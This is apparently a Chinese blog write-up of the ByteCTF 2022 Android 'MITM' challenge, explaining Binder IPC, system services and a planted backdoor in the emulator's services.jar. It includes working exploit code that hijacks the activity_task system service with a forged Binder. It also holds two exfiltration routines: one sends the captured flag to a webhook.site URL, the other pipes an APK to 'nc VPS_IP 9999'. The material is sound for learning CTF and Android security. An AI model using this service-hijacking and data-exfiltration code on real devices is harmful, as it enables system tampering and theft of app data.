ByteCTF2022 MITM分析 APK分析 AndroidManifest.xml 之前介绍过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0" encoding="utf-8" ?> <manifest xmlns:android ="http://schemas.android.com/apk/res/android" android:versionCode ="1" android:versionName ="1.0" android:compileSdkVersion ="32" android:compileSdkVersionCodename ="12" package ="com.bytedance.mitm" platformBuildVersionCode ="32" platformBuildVersionName ="12" > <uses-sdk android:minSdkVersion ="27" android:targetSdkVersion ="32" /> <application android:theme ="@style/Theme.MITM" android:label ="@string/app_name" android:icon ="@mipmap/ic_launcher" android:debuggable ="true" android:allowBackup ="true" android:supportsRtl ="true" android:extractNativeLibs ="false" android:fullBackupContent ="@xml/backup_rules" android:roundIcon ="@mipmap/ic_launcher_round" android:appComponentFactory ="androidx.core.app.CoreComponentFactory" android:dataExtractionRules ="@xml/data_extraction_rules" > <activity android:name ="com.bytedance.mitm.MainActivity" android:exported ="true" android:launchMode ="singleInstance" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity > <provider android:name ="androidx.startup.InitializationProvider" android:exported ="false" android:authorities ="com.bytedance.mitm.androidx-startup" > <meta-data android:name ="androidx.emoji2.text.EmojiCompatInitializer" android:value ="androidx.startup" /> <meta-data android:name ="androidx.lifecycle.ProcessLifecycleInitializer" android:value ="androidx.startup" /> </provider > </application > </manifest >
MainActivity
MainActivity 中有一个check方法,通过反射拿到了activity_task 这个系统服务的IBinder对象 ,然后使用 transact 方法向该服务发送一个代表检查前台 Activity 屏幕兼容模式(getFrontActivityScreenCompatMode)的请求,请求码为 17。服务将发送响应,响应中包含一个整数值,表示前台 Activity 的屏幕兼容模式。如果该值等于 1337,则表示屏幕兼容模式符合要求,代码会发送一个名为 bytedance.ctf.androidmitm 的广播,广播附带了一个名为 flag 的字符串,其值为 “ByteCTF{xxx}” 。
ByteCTF2022 MITM复现 | LLeaves Blog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.bytedance.mitm;import android.content.Intent;import android.os.Bundle;import android.os.IBinder;import android.os.Parcel;import android.os.RemoteException;import android.util.Log;import androidx.appcompat.app.AppCompatActivity;import java.lang.reflect.InvocationTargetException;public class MainActivity extends AppCompatActivity { public static String TAG = "MAIN" ; @Override public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); check(); } public void check () { Log.d(TAG, "Call ActivityTaskManagerService.getFrontActivityScreenCompatMode" ); try { IBinder am = (IBinder) Class.forName("android.os.ServiceManager" ).getDeclaredMethod("getService" , String.class).invoke(null , "activity_task" ); Parcel _data = Parcel.obtain(); Parcel _reply = Parcel.obtain(); _data.writeInterfaceToken("android.app.IActivityTaskManager" ); am.transact(17 , _data, _reply, 0 ); _reply.readException(); int result = _reply.readInt(); Log.d(TAG, String.valueOf(result)); if (result == 1337 ) { Log.d(TAG, "Congrats!" ); Intent intent = new Intent (); intent.setAction("bytedance.ctf.androidmitm" ); intent.putExtra("flag" , "ByteCTF{xxx}" ); sendBroadcast(intent); } } catch (RemoteException | ClassNotFoundException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { e.printStackTrace(); } } }
通过反射拿到系统服务的 Binder:activity_task
ServiceManager.getService(“activity_task”):从系统的 ServiceManager 里取出名为 activity_task 的服务。
在Android 10+,很多 Activity/Task 管理相关的系统能力在**ActivityTaskManagerService (ATMS)**。
缩写
全称
管什么
可以把它想成
AMS
ActivityManagerService
进程 & Activity 生命周期
Android 的进程总调度室
ATMS
ActivityTaskManagerService
Activity / Task / 栈
Activity 栈管理器
PMS
PackageManagerService
安装包 & 权限
应用 & 权限户口本
WMS
WindowManagerService
窗口 & 显示
屏幕和窗口的导演
AMS 管的是进程级别的东西 :
App 进程的创建 / 杀死
Activity / Service / Broadcast 的生命周期调度
ANR 监控
前后台进程管理
OOM_ADJ(谁先被杀)
为什么有 ATMS?
Android 10以后:
AMS 太大了
Activity / Task / 栈逻辑太复杂
ATMS 管什么?
Activity 启动 / 切换
Task(任务栈)
前台 Activity
多窗口 / 分屏
屏幕兼容模式(你题里的 getFrontActivityScreenCompatMode)
PMS 是安全相关最重要的服务之一 :
APK 安装 / 卸载
AndroidManifest.xml 解析
权限授予 / 校验
签名校验
queryIntentActivities
checkPermission
WMS 管的是屏幕上看到的一切 :
Window 的创建 / 销毁
Activity 显示层级
Z-order(谁盖住谁)
Touch / Key 分发
Surface 管理(和 SurfaceFlinger 配合)
返回值是 IBinder:也就是这项系统服务的 Binder 通道,Activity、Service、ContentProvider通过Binder跨进程通信。
为什么用反射?ServiceManager在 SDK 里属于隐藏/限制访问的东西,直接调用容易被限制或编译报错。
Parcel是 Binder IPC 的序列化容器
RPC ⊂ IPC(RPC 是 IPC 的一种使用方式)IPC 解决怎么传,RPC 解决怎么用得像本地调用。
transact和onTransact的区别-CSDN博客
writeInterfaceToken(“android.app.IActivityTaskManager”):
Binder 的一个安全/一致性校验字段。
相当于是告诉系统是在按 IActivityTaskManager 这个接口的协议在说话
它相当于Binder 的接口身份证。
如果 token 不对,系统通常会拒绝或抛异常
服务端会怎么用这个 token?
在 system_server 里,ATMS 的 onTransact() 一般是这样开头的:
1 data.enforceInterface(DESCRIPTOR);
enforceInterface() 会做什么?
从 data 里 读出你写的 token
和自己的 DESCRIPTOR 比较
不一致 → 直接抛 SecurityException
也就是说:token 不对,后面的代码根本不会执行
android.app.IWindowManager过去直接会被拒绝
1 2 3 am.transact(17 , _data, _reply, 0 ); _reply.readException(); int result = _reply.readInt();
向系统服务发起一次 Binder 调用(code=17),等它处理完,如果没出错,就从返回包里读出一个 int 结果。
参数
含义
am
远程系统服务的 Binder 代理(ATMS)
17
transaction code (代表要调用的方法)
_data
请求数据包(参数)
_reply
返回数据包
0
flags(同步调用)
在 Binder 里:没有函数名,只认整数 code
如何确定code=17是getFrontActivityScreenCompatMode?
我们可看/system/framework/services.jar
ServiceManager 是 Android 系统中 Binder 通信的核心部分,负责服务的注册和查询。它在 Android 系统启动时由 init 进程通过 rc 文件启动,并在整个系统运行期间管理所有的系统服务。
系统环境分析 read.me
1 2 3 在Android Studio中通过SDK Manager -> SDK Update Sites添加如下url: https://gwynsh.oss-cn-shanghai.aliyuncs.com/mitm.xml 之后就可以创建模拟器在本地测试。
有提示告诉我们启动一个出题人魔改的镜像
复现的时候
damn
2026了 4年了 已经寄了
没办法只能分析下思想了
使用HexWin64和DiskGenius搜索字符串并进行定位,发现在/system/framework/service.jar 中的com.android.server.am.ActivityManagerService 包含一个方法,也就是说官方给了一个方法用于添加系统服务,但是这个函数没有直接被加在service上(仅有“后端”,没有“前端”),也需要通过transcat来调用,具体写法可以模仿check函数。
godGiveMeAddService接收两个参数:name 和 service。其中,name 表示要添加的 Service 的名称,service 是一个 IBinder 对象,用于提供对该 Service 的访问。
其中的addService方法有两个特点:
如果添加的是已经存在的service,默认会进行替换
普通APP的service被添加后,权限不会变化,不会获得system权限
1 2 3 4 public void godGiveMeAddService (String name, IBinder service) { Log.d("Bytedance" , "Android God gives you addService()" ); ServiceManager.addService(name, service, false , 8 ); }
在/system/framework/framework.jar的android.app.IActivityManager中找到关于该方法的更多细节,首先是定义了static final int TRANSACTION_godGiveMeAddService = 223; 即TRANSACTION_code ,然后定义了收到transcat 时的动作,获取到Parcel对象中的数据后调用godGiveMeAddService
1 2 3 4 5 6 7 8 9 10 public boolean onTransact (int code, Parcel data, Parcel reply, int flags) throws RemoteException { case 223 : data.enforceInterface(DESCRIPTOR); String _arg0183 = data.readString(); IBinder _arg1126 = data.readStrongBinder(); godGiveMeAddService(_arg0183, _arg1126); reply.writeNoException(); return true ; }
前面提到的check要直接通过transcat调用,主要有两点原因:
替换了system service之后,并不是所有系统请求立刻会走新的service,原因是framework中会保存许多binder,就好像缓存一样,因此必须通过getService拿到新的binder并发送请求
方便选手模仿这个函数调用godGiveMeAddService
漏洞分析 bytectf_mitm - marginal’s blog
通过jadx的分析我们看到check()在与activity_task通讯返回1337之后会把flag信息通过广播发送出去,看到这里题目的意思应该是让我们想办法更改activity_task服务的返回值以及写一个广播接收器.
首先是更改activtiy_task服务, 这个服务属于系统服务, 普通app没有权限去更改系统服务, 也就是没有权限调用android.os.ServiceManager.addService()这个方法.所以我们得借助更高权限的应用来达到我们的目的. 拥有这一权限的应用, 比如系统app(存放在/system/priv-app, /system/app等目录下, 用户安装的app在/data/app目录下), 还有就是frameworks(activty_task服务的注册就是在这里).
首先需要提取frameworks.jar以及service.jar(要寻找服务添加的权限提升, services.jar就是服务注册代码的存放位置), 直接用adb从模拟器pull下来就行了
在services.jar找到权限提升漏洞的地方, 明显看出来这其实是出题人留下的后门
1 2 3 4 public void godGiveMeAddService (String name, IBinder service) { Log.d("Bytedance" , "Android God gives you addService()" ); ServiceManager.addService(name, service, false , 8 ); }
找一下交叉引用发现services.jar里面没有, framework.jar: android.app.IActivityManager存在调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public boolean onTransact (int code, Parcel data, Parcel reply, int flags) throws RemoteException { Stub iActivityManager$Stub0 = this ; Parcel parcel2 = data; Parcel parcel3 = reply; if (code != 0x5F4E5446 ) { IBinder iBinder0 = null ; int v2 = 0 ; switch (code) { case 0xDF : { break ; } default : { return super .onTransact(code, data, reply, flags); } } parcel2.enforceInterface("android.app.IActivityManager" ); iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder()); reply.writeNoException(); return true ; } }
这里也是一个binder通讯, 所以目前大致的思路是
设计一个binder, onTransact通讯在code等于0x11的时候往返回包里面写一个0x539
用binder与android.app.IActivityManager通讯, 将activtiy_task服务替换为我们自己设计的binder
注册一个广播接收器, 接受action为”bytedance.ctf.androidmitm”的广播
启动app-debug.apk应用, 触发check函数.
广播接收器进行flag接收与发送
利用类似中间人攻击的思路,用自己继承的Binder替换掉ActivityTaskManagerService,然后就可以任意控制返回结果,但是也要注意必须保存ActivityTaskManagerService,因为本身攻击只是做一个中间人,如果直接替换而不进行保存和后续调用就会引发错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class MyBinder extends Binder { @Override protected boolean onTransact (int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException { Log.d("hit" , String.valueOf(code)); if (code == 17 ) { reply.writeNoException(); reply.writeInt(1337 ); return true ; } return origin.transact(code, data, reply, flags); } }
MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 package com.bytectf.attackmitm;import androidx.annotation.NonNull;import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity;import android.app.ActivityManager;import android.app.Service;import android.content.BroadcastReceiver;import android.content.ComponentName;import android.content.Context;import android.content.Intent;import android.content.IntentFilter;import android.content.ServiceConnection;import android.net.Uri;import android.net.wifi.aware.PublishConfig;import android.os.Binder;import android.os.Bundle;import android.os.IBinder;import android.os.Parcel;import android.os.RemoteException;import android.util.Log;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.net.HttpURLConnection;import java.net.MalformedURLException;import java.net.ProtocolException;import java.net.URL;public class MainActivity extends AppCompatActivity { public static final String TAG = "Evil" ; public IBinder origin; public class MyBinder extends Binder { @Override protected boolean onTransact (int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException { Log.d("hit" , String.valueOf(code)); if (code == 17 ) { reply.writeNoException(); reply.writeInt(1337 ); return true ; } return origin.transact(code, data, reply, flags); } } public BroadcastReceiver flagReceiver = new BroadcastReceiver () { @Override public void onReceive (Context context, Intent intent) { if (intent.getAction().equals("bytedance.ctf.androidmitm" )) { httpGet(intent.getStringExtra("flag" )); Log.d(TAG, "FLAG_RECEIVER" ); } } }; @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); registerReceiver(flagReceiver, new IntentFilter ("bytedance.ctf.androidmitm" )); try { origin = (IBinder) Class.forName("android.os.ServiceManager" ).getDeclaredMethod("getService" , String.class).invoke(null , "activity_task" ); IBinder am = (IBinder) Class.forName("android.os.ServiceManager" ).getDeclaredMethod("getService" , String.class).invoke(null , "activity" ); addService(am, "activity_task" , new MyBinder ()); } catch (IllegalAccessException | ClassNotFoundException | NoSuchMethodException | InvocationTargetException e) { e.printStackTrace(); } Intent intent_mitm = new Intent (); intent_mitm.setClassName("com.bytectf.mitm" , "com.bytectf.mitm.MainActivity" ); startActivity(intent_mitm); } public void addService (IBinder am, String name, IBinder service) { Parcel _data = Parcel.obtain(); Parcel _reply = Parcel.obtain(); _data.writeInterfaceToken("android.app.IActivityManager" ); _data.writeString(name); _data.writeStrongBinder(service); try { am.transact(223 , _data, _reply, 0 ); _reply.readException(); } catch (RemoteException e) { e.printStackTrace(); } finally { _data.recycle(); _reply.recycle(); } } public void httpGet (String msg) { Log.d(TAG, msg); new Thread (new Runnable () { @Override public void run () { try { HttpURLConnection httpURLConnection = null ; URL url = new URL ("https://webhook.site/23772e88-xxxxxxxxxx/?msg=" + msg); httpURLConnection = (HttpURLConnection) url.openConnection(); httpURLConnection.setRequestMethod("GET" ); httpURLConnection.getInputStream(); } catch (IOException e) { e.printStackTrace(); } } }).start(); } }
① 保存原始的 activity_task Binder:origin = getService(“activity_task”)
② 拿到 activity 服务的 Binder:IBinder am = getService(“activity”)
非预期 来自WM
在比赛的第一天,我们发现题目存在非预期解,主要原因在于APP可以申请QUERY_ALL_PACKAGES权限,这是一个normal permission,会自动赋予APP。然后通过PackageManager查询到被攻击APP的base apk路径,进而直接读取APK。
在这里引用W&M 的非预期解
1 <uses-permission-sdk-23 android:name="android.permission.QUERY_ALL_PACKAGES"/>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void test1 () { try { Process exec = Runtime.getRuntime().exec("pm path com.bytedance.mitm" ); InputStreamReader inputStreamReader = new InputStreamReader (exec.getInputStream()); BufferedReader bufferedReader = new BufferedReader (inputStreamReader); String s = bufferedReader.readLine(); s = s.replace("package:" ,"" ); Log.d(TAG, "test1aaaa: " +s); if (s != null ){ String file = s; String[] cmd = new String []{"sh" , "-c" , "cat " + file + " | nc VPS_IP 9999" }; try { Process exec1 = Runtime.getRuntime().exec(cmd); InputStreamReader inputStreamReader1 = new InputStreamReader (exec1.getInputStream()); BufferedReader bufferedReader1 = new BufferedReader (inputStreamReader1); String s1 = bufferedReader1.readLine(); Log.d(TAG, "test1bbbb: " +s1); } catch (IOException e) { Log.d(TAG, "test1cccc: " ,e); e.printStackTrace(); } } } catch (IOException e) { e.printStackTrace(); } }
注意:这里不是用 PackageManager API,而是直接起了一个 shell 命令 pm。
效果是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package com.bytectf.pwnsilverdroid;import android.content.Context;import android.content.pm.ApplicationInfo;import android.content.pm.PackageManager;import android.util.Log;import androidx.test.platform.app.InstrumentationRegistry;import androidx.test.ext.junit.runners.AndroidJUnit4;import org.junit.Test;import org.junit.runner.RunWith;import static org.junit.Assert.*;import java.io.BufferedReader;import java.io.InputStreamReader;@RunWith(AndroidJUnit4.class) public class ExampleInstrumentedTest { private static final String TAG = "PM_TEST" ; private static final String TARGET = "com.bytectf.golddroid" ; @Test public void testPmVsApi () throws Exception { Context ctx = InstrumentationRegistry .getInstrumentation() .getTargetContext(); PackageManager pm = ctx.getPackageManager(); try { ApplicationInfo ai = pm.getApplicationInfo(TARGET, 0 ); Log.d(TAG, "[API] sourceDir = " + ai.sourceDir); } catch (PackageManager.NameNotFoundException e) { Log.d(TAG, "[API] NameNotFoundException" ); } catch (Exception e) { Log.d(TAG, "[API] Exception: " + e); } try { Process p = Runtime.getRuntime() .exec(new String []{"sh" , "-c" , "pm path " + TARGET}); BufferedReader br = new BufferedReader ( new InputStreamReader (p.getInputStream())); String line; boolean hasOutput = false ; while ((line = br.readLine()) != null ) { hasOutput = true ; Log.d(TAG, "[PM] " + line); } if (!hasOutput) { Log.d(TAG, "[PM] no output" ); } } catch (Exception e) { Log.d(TAG, "[PM] Exception: " + e); } } }